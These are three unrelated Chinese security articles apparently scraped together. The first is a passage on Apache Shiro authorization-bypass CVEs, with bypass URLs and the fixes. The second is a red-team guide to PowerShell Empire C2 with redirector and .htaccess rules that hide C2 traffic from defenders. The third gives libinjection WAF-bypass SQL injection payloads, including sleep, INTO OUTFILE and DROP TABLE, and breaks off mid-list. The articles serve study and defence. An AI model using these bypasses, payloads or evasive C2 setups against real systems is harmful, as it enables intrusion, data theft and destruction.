对于getPathWithinServletMapping中首先通过getPathWithinApplication获取请求URI在web应用中的路径，其中经过如下调用链：
最终在org.springframework.web.util.UrlPathHelper#getRequestUri中通过request.getRequestURI()获取请求的uri,即/aa/..;test=123/admin/index，并通过decodeAndCleanUriString方法对uri进行处理：
decodeAndCleanUriString方法中主要做了三件事：
1、调用removeSemicolonContent方法对uri进行处理，其中将分号及后面的key-value进行了去除得到新的requestUri为/aa/../admin/index：
2、通过调用decodeRequestString进行URL解码：
3、通过调用getSanitizedPath将//替换为/：
至此经过decodeAndCleanUriString方法处理后最终获取到的uri为/aa/../admin/index，即getPathWithinApplication返回的结果pathWithinApp的值也为/aa/../admin/index：
接下来回到getPathWithinServletMapping中，此时pathWithinApp值为/aa/../admin/index，servletPath为/admin/index，正常情况下将通过getRemainingPath方法将pathWithinApp中servletPath给截取掉，但此时由于两者值无法截取成功返回为null：
由于path为null，则进入else这种特殊情况，最终返回servletPath，即/admin/index：
即最终获取到的lookupPath值为/admin/index，并根据lookupPath的值寻找相对应的handlerMethod为com.ttestoo.bypass.controller.LoginController#admin_index()：
至此，SpringMVC中获取handler的过程已结束，成功获取到/admin/index相对应的handler方法，并将继续获取HandlerAdapter，并执行HandlerAdapter的handle方法利用反射机制执行/admin/index相对应的controller方法com.ttestoo.bypass.controller.LoginController#admin_index()：
**总结：**
当我们发起请求[http://127.0.0.1:9091/aa/..;test=123/admin/index时，经过shiro](http://127.0.0.1:9091/aa/..;test=123/admin/index%E6%97%B6%EF%BC%8C%E7%BB%8F%E8%BF%87shiro)
filter进行权限校验，此时shiro解析到的路径为/aa/..不会和任何规则匹配成功，从而通过了shiro的权限校验；
接下来会由springmvc进行controller解析，此时springmvc解析到的路径为/admin/index，并获取到/admin/index对应的handler方法admin_index，从而正常的执行service并得到最终的响应。
**漏洞本质：**
当路径中包含特殊字符时，shiro解析得到的路径和SpringMVC解析得到的路径不一致，导致可正常通过shiro的权限校验并正常的完成service的执行获取执行结果。
### 利用场景
在实际场景中每个API会通过网关层统一校验或[@RequiresPermissions](https://github.com/RequiresPermissions
"@RequiresPermissions")注解等方式校验所需访问权限，此漏洞仅能绕过shiro全局的Filter校验，无法绕过API配置的访问权限；
个人理解此问题在实战中利用场景相对有限。
### 修复方式
根据官方commit记录，可知在1.5.2开始，在org.apache.shiro.web.util.WebUtils#getRequestUri中获取uri的方式从request.getRequestURI()换成了request.getContextPath()+request.getServletPath()+request.getPathInfo()组合的方式：
此时请求[http://127.0.0.1:9091/aa/..;test=123/admin/index获取到的url为/admin/index，无法绕过shiro的权限校验：](http://127.0.0.1:9091/aa/..;test=123/admin/index%E8%8E%B7%E5%8F%96%E5%88%B0%E7%9A%84url%E4%B8%BA/admin/index%EF%BC%8C%E6%97%A0%E6%B3%95%E7%BB%95%E8%BF%87shiro%E7%9A%84%E6%9D%83%E9%99%90%E6%A0%A1%E9%AA%8C%EF%BC%9A)
## shiro权限绕过 CVE-2020-11989
### 利用条件
主要是针对CVE-2020-1957修复后的绕过探索，主要两种方式：
* URL双编码：Apache Shiro = 1.5.2 & controller需为类似”/hello/{page}”的方式
* 分号绕过：Apache Shiro < 1.5.3 & server.servlet.context-path不为根/
### 利用过程
**URL双编码**
shiro版本需为1.5.2，访问[http://127.0.0.1:9091/hello/test，被shiro权限校验拦截：](http://127.0.0.1:9091/hello/test%EF%BC%8C%E8%A2%ABshiro%E6%9D%83%E9%99%90%E6%A0%A1%E9%AA%8C%E6%8B%A6%E6%88%AA%EF%BC%9A)
访问[http://127.0.0.1:9091/hello/te%25%32%66st](http://127.0.0.1:9091/hello/te%2fst)可直接绕过权限校验：
**分号绕过**
需要配置server.servlet.context-path：
server.servlet.context-path=/test
<http://127.0.0.1:9091/test/hello/test>
<http://127.0.0.1:9091/a/..;a=1/test/hello/test>
### 漏洞分析
**URL双编码分析**
首先发起http请求时，若url中存在URL编码字符，则会被容器进行一次URL解码，此时/hello/te%25%32%66st —>
/hello/te%2fst，接下来则同CVE-2020-1957过程一样，在shiro处理过程中会在org.apache.shiro.web.util.WebUtils#getPathWithinApplication中通过getRequestUri函数获取uri：
在org.apache.shiro.web.util.WebUtils#getRequestUri中首先通过request.getContextPath()+request.getServletPath()+request.getPathInfo()组合的方式获取uri为：//hello/te%2fst
接着在进入normalize函数进行格式化处理时，传入的参数经过了decodeAndCleanUriString方法的处理，其中通过调用org.apache.shiro.web.util.WebUtils#decodeRequestString方法，利用URLDecoder.decode进行了URL解码为：//hello/te/st
继续进入normalize函数，将//替换为/，最终获取到的uri为：/hello/te/st
接下来就同上面shiro过程一致了，/hello/te/st不会和任何的规则匹配，成功解析controller并执行相对应的service获取响应结果：
补充，在1.5.1及之前版本中，获取uri采用request.getRequestURI方式，获取到的为URL双编码的值，shiro进行一次解码并格式化处理后为/hello/te%2fst，则会和/hello/*进行匹配：
**分号绕过分析**
当请求为[http://127.0.0.1:9091/a/..;a=1/test/hello/test时，](http://127.0.0.1:9091/a/..;a=1/test/hello/test%E6%97%B6%EF%BC%8C)
同URL双编码主要区别在经过request.getContextPath()+request.getServletPath()+request.getPathInfo()组合获取到的uri为：/a/..;a=1/test//hello/test
request.getContextPath() --> /a/..;a=1/test
request.getServletPath() --> /hello/test
request.getPathInfo() --> null
接着经过org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString处理后，会根据 ;
进行分割，最终uri结果为：/a/..
从而绕过shiro的权限校验，而接下来则和cve-2020-1957流程一致，springmvc会将 ;
进行剔除，最终根据/a/../test/hello/test，即/test/hello/test成功解析controller并执行service获取响应结果：
### 修复方式
在1.5.3中，获取uri方式改成了getServletPath(request) +
getPathInfo(request)组合的方式，且去除了解码过程：
此时，同样的请求[http://127.0.0.1:9091/a/..;a=1/test/hello/test，获取到的requestURI为：/hello/test](http://127.0.0.1:9091/a/..;a=1/test/hello/test%EF%BC%8C%E8%8E%B7%E5%8F%96%E5%88%B0%E7%9A%84requestURI%E4%B8%BA%EF%BC%9A/hello/test)
请求[http://127.0.0.1:9091/hello/te%25%32%66st](http://127.0.0.1:9091/hello/te%2fst)获取到的requestURI为：/hello/te%27st
## shiro权限绕过 CVE-2020-13933
### 利用条件
Apache shiro<=1.5.3 即 Apache Shiro < 1.6.0
controller需为类似”/hello/{page}”的方式利用过程
### 利用过程
<http://127.0.0.1:9091/hello/test>
<http://127.0.0.1:9091/hello/%3btest>
### 漏洞分析
当发起请求[http://127.0.0.1:9091/hello/%3btest时，](http://127.0.0.1:9091/hello/%3btest%E6%97%B6%EF%BC%8C)
首先容器会进行URL解码，/hello/%3btest —> /hello/;test
进入shiro处理，org.apache.shiro.web.util.WebUtils#getPathWithinApplication中最终结果即requestURI为/hello/：
getServletPath(request) --> /hello/;test
getPathInfo(request) --> ""
removeSemicolon中根据;进行分割
而/hello/不会和/hello/*匹配，顺利进入controller解析并执行service获取响应结果：
### 修复方式
在1.6.0中，执行shiro过滤器时增加了preHandle方法进行判断是否继续执行：
判断内容主要为：若请求URI中包含分号、反斜杠、非ASCII字符（均可配置），则直接响应400
核心逻辑均在新增的类org.apache.shiro.web.filter.InvalidRequestFilter中：<https://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/web/filter/InvalidRequestFilter.html>
## shiro权限绕过 CVE-2020-17523
### 利用条件
Apache Shiro < 1.7.1
controller需为类似”/hello/{page}”的方式
### 利用过程
**空格绕过**
1、<http://127.0.0.1:9091/hello/test>
2、[http://127.0.0.1:9091/hello/%20](http://127.0.0.1:9091/hello/)
**西式句号 全路径绕过**
需配置开启全路径匹配：
1、<http://127.0.0.1:9091/hello/>.
### 漏洞分析
**空格绕过**
当发起[http://127.0.0.1:9091/hello/%20](http://127.0.0.1:9091/hello/)请求时，
首先经过容器URL解码，/hello/%20 —> /hello/空格
发现在shiro进行匹配过程中，/hello/* 和 /hello/空格 不匹配：
在org.apache.shiro.util.AntPathMatcher#doMatch函数中，/hello/* 和 /hello/空格
经过tokenizeToStringArray函数处理后的结果中/hello空格仅剩/hello：
跟进tokenizeToStringArray方法可知，调用过程中，trimTokens参数值为true：
而当trimTokens为true时，则会调用trim()，此时/hello/后面的空格将会被丢弃：
在接下来的判断过程中，匹配结果为false，即/hello/* 和 /hello/空格 不匹配从而导致shiro的权限绕过：
**西式句号 全路径绕过**
当请求[http://127.0.0.1:9091/hello/.时，首先经过org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getPathWithinApplication处理时，会被normalize函数将/hello/.最后面的](http://127.0.0.1:9091/hello/.%E6%97%B6%EF%BC%8C%E9%A6%96%E5%85%88%E7%BB%8F%E8%BF%87org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getPathWithinApplication%E5%A4%84%E7%90%86%E6%97%B6%EF%BC%8C%E4%BC%9A%E8%A2%ABnormalize%E5%87%BD%E6%95%B0%E5%B0%86/hello/.%E6%9C%80%E5%90%8E%E9%9D%A2%E7%9A%84)
. 删除掉，最终requestURI为/hello/：
在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain处理过程中，由于此时requestURI以/结尾，则将会把最后一个/删除，变成/hello：
而/hello和/hello/*不匹配导致shiro权限绕过：
但是，此时SpringMVC进行controller解析时，请求路径为/hello/%2e，spring中.和/默认是作为路径分割符的，不会参与到路径匹配，此时将解析controller失败，返回404:
即，虽然绕过了shiro的权限校验，但默认无法解析到controller，也就无法执行想要的service；
特殊情况：
当手工配置开启springboot的全路径匹配时，可成功执行：
//开启全路径匹配
@ServletComponentScan
@SpringBootApplication
public class Application extends SpringBootServletInitializer implements BeanPostProcessor {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(Application.class);
}
@Override
public Object postProcessBeforeInitialization(Object bean, String beanName)
throws BeansException {
if (bean instanceof RequestMappingHandlerMapping) {
((RequestMappingHandlerMapping) bean).setAlwaysUseFullPath(true);
}
return bean;
}
@Override
public Object postProcessAfterInitialization(Object bean, String beanName)
throws BeansException {
return bean;
}
}
### 修复方式
1、将tokenizeToStringArray函数的trimTokens参数设置为false，防止空格被抛弃：
2、将剔除结尾/的过程移到匹配的下方：
## 总结
开头所说的利用分号绕过了nginx的403屏蔽，请求到springboot项目后携带分号解析成功，而当使用了shiro
1.6.0后，url中携带分号则直接报错400，原因就很清晰了，因为在1.6.0中增加了org.apache.shiro.web.filter.InvalidRequestFilter类，其中会判断请求中包含分号时响应400状态码；
shiro的权限绕过，本质还是shiro对uri的解析规则和后端开发框架的解析规则不一样所导致。
## 巨人的肩膀
<https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce>
<https://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/web/filter/InvalidRequestFilter.html>
<https://github.com/apache/shiro/commit/0842c27fa72d0da5de0c5723a66d402fe20903df>
<https://shiro.apache.org/security-reports.html>
<https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/>
<https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA>
<https://github.com/jweny/shiro-cve-2020-17523>
<https://segmentfault.com/a/1190000039703198>
…… | 社区文章 |
译者： sn00py@D0g3
# 序言
这篇文章特别针对那些想深入研究红队测试，并从传统渗透测试向前迈进一步的初学者。它也将有助于蓝队/应急响应团队/SOC分析员了解研究方法，并在与红队或真实对手的博弈中有所准备。这是一篇很长的帖子，所以读者最好先拿一杯咖啡，再继续阅读。
# 什么是红队测试？
根据Redteamsecure.com的定义，红队测试是全方位、多层次的攻击模拟，旨在衡量一家公司的人员、网络、应用程序和硬件设施的安全控制在多大程度上能够抵御来自现实世界对手的攻击。
在与红队的交锋中，训练有素的安全顾问会制定攻击方案，以揭示潜在的物理、硬件、软件和人为漏洞。红队测试还可以识别不良行为者和恶意内部人员破坏公司系统和网络或导致数据泄露的情况。
这是一段来自RedTeamSecurity的视频，从中可以深入了解到红队的工作方式，但这与我们的方法并不完全相同。该方法和方法依据与组织的商定条款有所不同。
> 译者注：视频需fq观看
[Watch hackers break into the US power
grid](https://www.youtube.com/embed/pL9q2lOZ1Fw "Watch hackers break into the
US power grid")
# 渗透测试 vs 红队测试
渗透测试可以定义为对组织安全状况的评估，该安全状态以受控方式执行，并且通常由安全管理员指定和管理。完成项目的给定时间和范围非常有限，通常不会考虑社会工程，恶意软件执行等现实威胁。大多数情况下，你将为给定的网络范围、Web应用程序、移动应用程序、无线等执行渗透。而与该特定范围相关的所有人员都将得到一个预先的信息，其中包括测试的时间段，以及测试人员使用的IP段白名单，以便确定只有指定的渗透小组正在攻击他们。
在渗透测试中，通常不会跨越漏洞利用阶段。如果你已经拿到远程主机的shell，并能借此进行一次全面的测试评估，那么在大多数情况下，客户会让你止步于此。如果给定了一系列内部/外部IP地址或多个web应用程序，则必须尝试在所有这些程序中发现漏洞，你不能忽视他们中的任何一个。
当今世界，由国家资助的黑客/ APT团队随时准备攻击他们想要的任何组织，而他们没有任何上述限制，这听起来就很可怕了。
**当真正的攻击者想要攻入一个组织时，他将不会使用传统的渗透方法。攻击者会尽一切努力进入组织来窃取数据或破坏组织的声誉。在尝试以任何方式进入内部之前，他可能会计划数周甚至数月。这是传统的渗透测试和红队测试之间的区别。**
**而红队扮演真正的有攻击性的攻击者。大多数时候，红队的目标范围很大。整个组织的环境都在范围内，他们的目标是渗透，权限维持，建立跳板，后利用，以检查一个坚定的敌人可以做什么。红队可以使用所有战术，包括社会工程。最后，整个行动以红队控制整个网络或他们的行动被发现，然后被网络安全管理员阻止而告终。届时，他们将向管理层报告他们的发现，以协助提高网络的安全性。**
红队的主要目标之一是即使他们进入组织内部也要保持隐蔽。而渗透测试人员在网络上动静很大，很容易被检测到，因为他们采用传统的方式进入组织。而红队是隐秘且快速的，并且在技术上具备规避AV、端点保护解决方案、防火墙和该组织已经实施的其他安全措施的知识。
综上而言，红队测试和渗透测试所需的技能组合是完全不同的。
# 作为红队，我们做些什么？
大概分为以下几类：
* **信息侦察** \- 使用被动和主动侦察技术收集有关员工、管理员、技术栈，安全设备等信息
* **物理安全** \- 绘制建筑物的实物图，绕过或克隆RFID /生物识别，开锁等
* **社会工程** \- 恶意软件投递/有针对性的网络钓鱼来获取凭证，进入大楼/ODC，假冒调查，种植网络植入物，Dumspter diving（通过物理垃圾来收集有关用户的信息）等
* **漏洞利用** \- Payload投递 & 执行，建立C&C服务器通信。
* **权限维持** \- 提权，维持持久性，建立跳板
* **后期利用** \- 横向移动和数据外泄
# 目标
从外部就能渗透入一个组织的日子已经一去不返了。如今，大多数暴露在外网的网络节点和WEB应用程序都非常安全。现在想获得较高成功率的唯一方式是，以某种方式在组织内部执行我们的有效载荷，然后回连我们。
这需要大量的工作和实践来绕过现有的现代端点保护、代理、IDS和其他安全设备。有效载荷必须避开所有的安全设备，并保持隐蔽，不触发蓝队/SOC团队的任何重大警报。
本文的目标是在保持隐蔽的同时，在目标组织的网络内获得初始立足点。现在，许多组织更喜欢“假定攻击”红队演习，即假设在自身已经被攻破的情况下，攻击者通过后续攻击可以造成什么样的危害。我们将在本系列文章的后续部分讨论有关后期利用的问题，但在本文中，我们仅讨论下面几个阶段：
1. **C2/后利用框架选择**
2. **C2 infra配置**
3. **Payload创建**
4. **Payload投递**
5. **AV/端点保护/NIDS规避**
在网络中获得初步立足点之后，我们的目标是在该组织内进行特权升级，建立跳板，横向移动，最后将敏感数据泄露出去。
我们假定目标组织是一家拥有全面安全产品和策略的“财富”500强公司。
# 1\. C2/后利用框架选择
在红队测试过程中，选择正确的C2框架是最重要的一步。正确的C2框架必须具有灵活性、敏捷性和抗弹性，以对抗蓝队的防御措施。它必须建立并持续数周/月，直到红队测试结束。丢掉在红队测试期间使用Metasploit的想法吧。对于传统渗透来说，它是一个很好的利用框架，但是当涉及到持续数周到数月的测试时，Metasploit并不是合适的工具。我们可以编写自己的框架，也可以使用已经过试验的东西。编写自己的C2框架将是一个大工程，需要大量的专业知识和时间。我们还是选择已经受全球各地专家青睐的工具吧。
经多大量的调研和讨论，我在此给出两个选择：
* **[CobaltStrike](https://www.cobaltstrike.com/)** ：红队作战的最佳框架。有很多令人惊叹的功能，你在其他任何地方都找不到。向创造这个高超工具的[rsmudge](https://www.linkedin.com/in/rsmudge)致敬！当然，好的东西通常都不是免费的，它的价格为3500美元/年。
* [**powershell Empire**](https://www.powershellempire.com/)：这是另一个伟大的工具，可用于创建有效载荷和后期利用。Empire是一个纯粹的powershell后利用代理，建立在加密安全通信和灵活的架构之上。并且它是开源的，完全免费！感谢@ harmj0y，@ sixdub，@ enigma0x3等人创造了这么棒的工具。
我们将使用powershell Empire，因为它是开源的，可免费供所有人使用。读者可以去[powershell
Empire](https://www.powershellempire.com/)官方网站查阅其使用文档。
不过，我想再提一下为什么我选择PowerShell Empire作为一个合适的后利用框架。
1. **灵活和有弹性** \- 与Metasploit不同，如果你的监听端掉线了一次，你就会失去连接。Empire代理可以继续尝试与你通信，直到达到你在设置有效负载时定义的连接尝试次数。代理信息存储在sqlite文件中，当你再次启动empire时可以获取该文件。一旦为监听器定义了参数，就不会再变动，除非手动修改。省的一次又一次地重复设置监听器。因为它是开源和模块化的，你还可以在Empire内部使用自己的powershell脚本。
2. **使用powershell和python** \- 考虑到这一点，我们的目标是一个组织，大多数时候，他们的基础设施主要由windows系统组成，使用powershell是一个最佳的选择。Empire至少需要PowerShell v2.0来运行，它可以在Win Vista～Win 10上运行，但在Win XP系统上不起作用。它还为我们提供了绕过应用程序白名单的优势，这在许多组织中有所使用，因为PowerShell默认启用，我们不用删除或生成任何新的可执行文件。而对于基于unix的主机，我们可以使用基于python的Empire代理。
3. **代理感知有效负载** \- 它自动从当前正在使用的系统中获取代理和缓存的证书，并使用它来与C2服务器通信。许多传统工具和有效负载在这点上是不足的，因为除非明确指定，否则它们无法自动获取代理。因为我们的目标是一家财富500强公司，它肯定会使用代理服务器来处理任何类型的网络请求。
4. **可拓展C2配置文件** \- C2配置文件表示代理与C2服务器通信的标识符。它包括监听器协议、http url、用户代理、回调时间、丢失限制，波动、加密密钥等。AV供应商根据这些特征编写签名。很多时候，使用默认参数会导致触发AV的检测，然后移除有效载荷并阻止主机与C2服务器之间的通信。因此，在创建有效载荷时最好修改这些标识符，以规避检测。
5. **可在不运行powershell.exe的情况下运行powershell代理** \- 由于PowerShell被恶意软件严重滥用，许多组织要么完全阻止powershell.exe执行，要么记录从powershell.exe发起的每个活动，然后交给中央日志分析工具，可能会对任何可疑活动发出警报。为了解决这个问题，我们实际上可以在不运行powershell.exe的情况下启动powershell。Empire提供了一些选项来实现该功能。
6. **Invoke-Obfuscation模块预加载** \- Empire有一个选项来对所有源代码、stagers和有效负载做不同程度的混淆。在规避基于签名的AV检测时很有帮助。
7. **可靠的持久性模块**** \- 它有几个非常可靠的持久化模块，这些模块工作得很完美。使用WMI进行持久化是我最喜欢的模块之一。
8. **大量的后利用模块** \- 它有许多用PowerShell编写的优秀后利用模块，可用于信息收集，横向移动，HASH存储和系统管理。
9. **不同的监听器选项** \- 与Metasploit保持与C2服务器的持续TCP连接不同，帝国可以通过可自定义延迟和允许中间抖动的http协议通信，因此很难检测到C2流量。它有很多监听器选项，其中包括http_hop甚至Dropbox作为C2。
powershell Empire:
Empire http监听器选项:
Empire中不同的有效负载生成选项:
Empire各种监听器:
# 2\. C2基础设施
我们的C2（Command &
Control）基础设施将包括我们的C2服务器，重定向器，钓鱼服务器和有效载荷投递服务器。在红队测试项目中，我们需要部署一个弹性C2基础设施，可以持续数周和数月，具体取决于项目的持续时间。基础设施必须灵活且足够强大，以抵御蓝队的预防行动。
例如，当蓝队发现组织已经被攻破，开始识别C2流量时，他们将开始拦截C2通信。你的C2基础设施应该料敌于先:即使当蓝队开始阻止你的活动时，也应该保持稳定。
传统渗透的基础设施：
[@bluescreenofjeff](https://twitter.com/bluscreenofjeff)已经写了一篇伟大的[博文](https://bluescreenofjeff.com/2017-12-05-designing-effective-covert-red-team-attack-infrastructure/)讨论如何设计一个弹性C2。本文的受到他的启发，我建议大家阅读他的博客，我在这里以更简洁的方式复述一些设计时要考虑的因素，我从中受益颇多：
## 2.1 隔离
你必须在测试期间架设多个C2服务器、多个重定向器、网络钓鱼服务器和有效载荷投递服务器。所有这一切都必须在不同的服务器上。我们需要将我们的基础设施分开，因为这将为我们提供所需的灵活性和弹性。例如，如果你的网络钓鱼服务器在测试期间被捕获并且蓝队封锁了电子邮件的接收域，你依然不会丢失对已经拥有的主机的控制权，因为你的C2服务器托管在不同的服务器和域上。
你的短程和长程C2服务器也应该托管在不同的域中。一般来说，短程C2在交战过程中很容易被捕获到。短程C2和长程C2之间的隔离能让你维持更长的时间。
所谓短程C2服务器是那种每隔几秒就会收到回调的服务器，用于在受害者的机器上实时执行命令。长途C2服务器是每隔几个小时才会收到回调的服务器。这将有助于我们的持久化并规避恶意流量检测。
隔离基础设施为你提供更高的灵活性和更强的对抗蓝队预防措施的能力。以下是现代红队基础设施的示例图。
红队基础设施示例：
## 2.2 重定向
重定向器可以放置在每个C2服务器的前面，以保护我们的核心基础架构不被识别和拦截。在C2服务器前使用重定向器有很多优点：
* **防止核心C2基础设施被识别** \- 即使蓝队发现了恶意软件通信使用的域名，我们的核心基础设施也将保持隐蔽。如果他们开始拦截恶意域名，我们可以快速切换到实时在不同域名上运行的不同重定向器。这将节省我们使用C2框架和所需工具设置另一台服务器的工作量和时间。
* **混淆** \- 当蓝队开始调查并拦截我们的域名时，他们可能会感到困惑。只有C2流量会被重定向到原始C2服务器，但如果其他人试图调查C2域，重定向服务器会将流量重定向到另一个合法网站。
**我们可以实现两种不同的重定向：**
### 2.2.1 哑管重定向
我们可以使用Socat或IPtables执行哑管道重定向。它会将所有传入流量转发到C2服务器。使用哑管道重定向器的唯一优势是原来的C2服务器将保持隐藏状态。它可以使用IPtables或Socat实现。Socat比在IPtables中配置规则更容易使用。
**Socat** 是一个基于命令行的实用程序，它建立两个双向字节流并在它们之间传输数据。
这是Socat的基本语法，它将端口80上传入的所有TCP流量转发到指定远程主机的80端口。
Socat TCP4-LISTEN：80，fork TCP4：<REMOTE-HOST-IP-ADDRESS>：80
哑管重定向：
### 2.2.2 智能重定向
智能重定向将所有C2流量转发到C2服务器，并将所有其他流量重定向到合法网站。用于对抗蓝队调查我们的C2服务器。访问C2域名的任何人都将被重定向到另一个合法站点。这同样适用于curl、wget或Web扫描器等工具。这可以提高C2基础架构的弹性。
智能重定向：
实现智能重定向的最简单方法之一是使用mod_rewrite。
**mod_rewrite** 能够根据请求属性(如URI、User-Agent、查询字符串、操作系统和IP)执行条件重定向。Apache
mod_rewrite使用htaccess文件来配置规则集，以便Apache能够处理每个请求。
首先，我们必须根据我们尝试伪装的网络流量来定制我们的Empire
C2。在这个例子中，我尝试将我的C2流量伪装成Microsoft实时电子邮件流量。你可以根据你要伪装的的Web服务更改User-Agent，URL，服务器头。如果有任何工具或人员正在监视http网络流量，他并不会被发现，因为它伪装成了outlook电子邮件流量。
它看起来就像安装在某人桌面或手机上的Outlook应用程序，每隔几分钟就会尝试与收件箱同步。在本例中，任何类型的流量如果与C2流量不匹配，就会被重定向到<https://login.microsoftonline.com>
，从而减少怀疑。在这篇文章的AV规避部分中将有更多对于此的讨论。
为了设置智能重定向，需要配置C2服务器和重定向服务器。下面是关于如何为智能重定向配置C2服务器和重定向服务器的详细信息。
**配置C2服务器**
listeners
uselistener http
set Name microsoft
set DefaultJitter 0.6
set DefaultDelay 11
set DefaultProfile /owa/mail/inbox.srf,/owa/mail/drafts.srf,/owa/mail/archive.srf|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko|Accept:*/*
set Host http://[Redirector-ip]:80
将上述文本保存为microsoft.profile并使用以下命令启动powershell empire
./empire -r microsoft.profile (would start empire with the microsoft profile)
Empire http监听器选项：
**配置重定向服务器**
* 把`/etc/apache2/apache.conf`中`<Directory /var/www/>`里的`AllowOverride None`改成`AllowOverride All`
* 启用mod_rewrite所需的apache模块
sudo a2enmod rewrite proxy proxy_http
sudo service apache2 restart
* 编写.htaccess文件，使其实现重定向。这部分很棘手，因为如果出现问题，C2流量将永远不会转发到原始的C2服务器。一定要仔细检查RewriteCond正则表达式是否正常工作。
RewriteEngine On
#URL condition – Empire’s url structure
RewriteCond %{REQUEST_URI} ^/(owa/mail/inbox.srf|owa/mail/drafts.srf|owa/mail/archive.srf)/?$
#UserAgent condition – Empire agent’s custom user agent
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(Windows\ NT\ 6\.1;\ WOW64;\ Trident/7\.0;\ yie11;\ rv:11\.0\)\ like\ Gecko?$
#Redirect the original C2 traffic to this host
RewriteRule ^.*$ http://[C2 server]%{REQUEST_URI} [P]
# Redirect all other traffic here
RewriteRule ^.*$ https://login.microsoftonline.com/? [L,R=302]
* 将.htaccess文件放在`/var/www/html`中，修改权限为644。然后重新启动apache服务器
* 如果一切顺利，当你的代理在受害者的计算机上执行时，原始C2服务器将收到来自重定向服务器的回调。尝试访问重定向器域的任何其他人都将被重定向到<https://login.microsoftonline.com>
## 2.3 使用SSL加密C2流量
通过https进行C2通信在绕过AV/IDS检测方面具有很大的优势，我们将在AV Evasion部分讨论。
以上步骤适用于HTTP流量，但如果我们要使用https以及重定向，则需要按照以下步骤操作：
**配置重定向服务器**
* 在重定向器服务器上启用ssl并在ssl配置文件中启用SSLProxyEngine
a2enmod ssl
* 在`/etc/apache2/sites-available/000-default-le-ssl.conf`中添加这几行
SSLProxyEngine On
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
* 重启apache
* 用下面的规则替换.htaccess中的第一个重写规则
RewriteRule ^.*$ http://[C2 server]:443%{REQUEST_URI} [P]
**配置C2服务器**
* 将host设置为https，并把端口设为443
运行代理，如果一切正常，你的代理将通过https与重定向器服务器通信，然后将流量转发到C2服务器。
## 2.4 日志管理
在测试过程中，你必须实施某种日志管理过程。记录C2/重定向服务器的网络活动有很多好处：
### 2.4.1 态势感知
你需要了解蓝队的调查工作。日志将为你提供大量信息，就像亲眼看到蓝队在你的服务器上做了什么一样。
他们使用curl/wget吗?他们是否试图在你的服务器上运行端口扫描?他们是否在你的服务器上运行一些web漏洞扫描器/dirbuster
?他们是否试图从浏览器访问你的服务器?使用了什么浏览器?他们从什么时候开始调查的?他们在哪个时区工作?他们的公共IP地址是什么?它是否与该组织的公共IP地址相同?他们想要调查什么?它是试图侵入你的服务器的其他人吗?
### 2.4.2 弹性应变
你可以很容易地发现他们是否已经开始尝试调查你的C2服务器，并根据具体情况，你可以在他们拦截该域名之前动态地更改代理的C2服务器。Empire提供了在不同的侦听器上生成新代理的选项。
只需查看apache访问日志，就可以找到许多详细信息，例如 - IP地址，时间戳，访问的Url，响应代码，浏览器的User-Agent。
如果除Empire外的其他人访问webserver，将会很容易暴露，因为它的响应状态码是302。一个简单的“grep”和“cut”‘命令就能揭示蓝队的调查意图。
当你拥有大量C2和重定向服务器时，建议使用中央日志服务器和管理工具，以便在发生任何可疑活动时提醒你。选择什么样的日志管理工具取决于基础设施的规模大小和你对工具的熟悉程度，这就交给各位自由选择了。
* * *
原文：<https://payatu.com/redteaming-from-zero-to-one-part-1/> | 社区文章 |
# 【技术分享】如何绕过WAF/NGWAF的libinjection实现SQL注入
##### 译文声明
本文是翻译文章，文章来源：medium.com/@d0znpp
原文地址：<https://medium.com/@d0znpp/how-to-bypass-libinjection-in-many-waf-ngwaf-1e2513453c0f>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**稿费：100RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
在我们开始之前，先给大家介绍一下libinjection。[libinjection](https://github.com/client9/libinjection)是一个非常流行的开源项目【[传送门](https://github.com/client9/libinjection)】，该项目由Signal
Sciences公司的Nick Galbreath负责开发和维护。
**在此之前，市场上绝大多数的WAF都是基于正则匹配（Regex）的，但是现在不一样了，很多的WAF（防火墙）以及NGWAF（下一代防火墙）出于性能方面的考虑，都会选择使用这个库来代替常规的正则表达式。**
例如mod_security从2.7.4版本开始就支持libinjection（dectectSQLi-v2.7.4、detectXSS-v2.8.0）。
从技术角度来看，
**libinjection是一个基于C语言的SQLi词法解析分析器，它可以通过对不同语句进行词法分析和语法分析来实现对SQL语句以及HTML语句的解析。**
但需要注意的是，某些情况下libinjection的效果可能并没有正则表达式好。接下来我会告诉大家我为什么会这样认为。
**libinjection解析器的未知令牌（token）**
函数令牌，这是找出未知令牌的一种最简单的方法了。我们曾尝试列出所有可能的SQL函数，但这不太可能实现，因为还有很多自定义函数存在。这是其中一个原因，而另一个原因是各种不同的SQL引擎（例如MariaDB、MySQL、SQLite和PostgreSQL等等）都有很多不同的内置SQL函数。
下面是一个简单的例子：
?id=‘-sqlite_version() UNION SELECT password FROM users- -
**
**
**libinjection解析器的未知语境（context）**
**括号语境**
如果攻击者想要进行拒绝服务（DoS）攻击，并尝试通过SQL注入来拿下你的数据库，那么他可能会使用下面这种查询语句：
?id=sleep(9999)
但是，这种尝试是会被检测到的，而安全防护产品也能够有效地阻止这种攻击。但是，下面这种情况却是无法检测到的：
?id=)-sleep(9999
因为libinjection并不能理解这种括号语境。
同样的，在MySQL的文件写入中我们也可以利用类似的技术。比如说下面这个语句，它在一般情况下都会被检测到：
?id=1337 INTO OUTFILE ‘xxx’--
但是如果攻击者换成下面这种形式或语境的话，就无法被检测到了：
?id=1337) INTO OUTFILE ‘xxx’--
除了上面给出的这种情况之外，我们同样可以在批量查询语句或多层查询语句中使用同样的技巧。比如说下面这条语句，它是会被检测到并且被阻止的：
?id=123;DROP TABLE users--
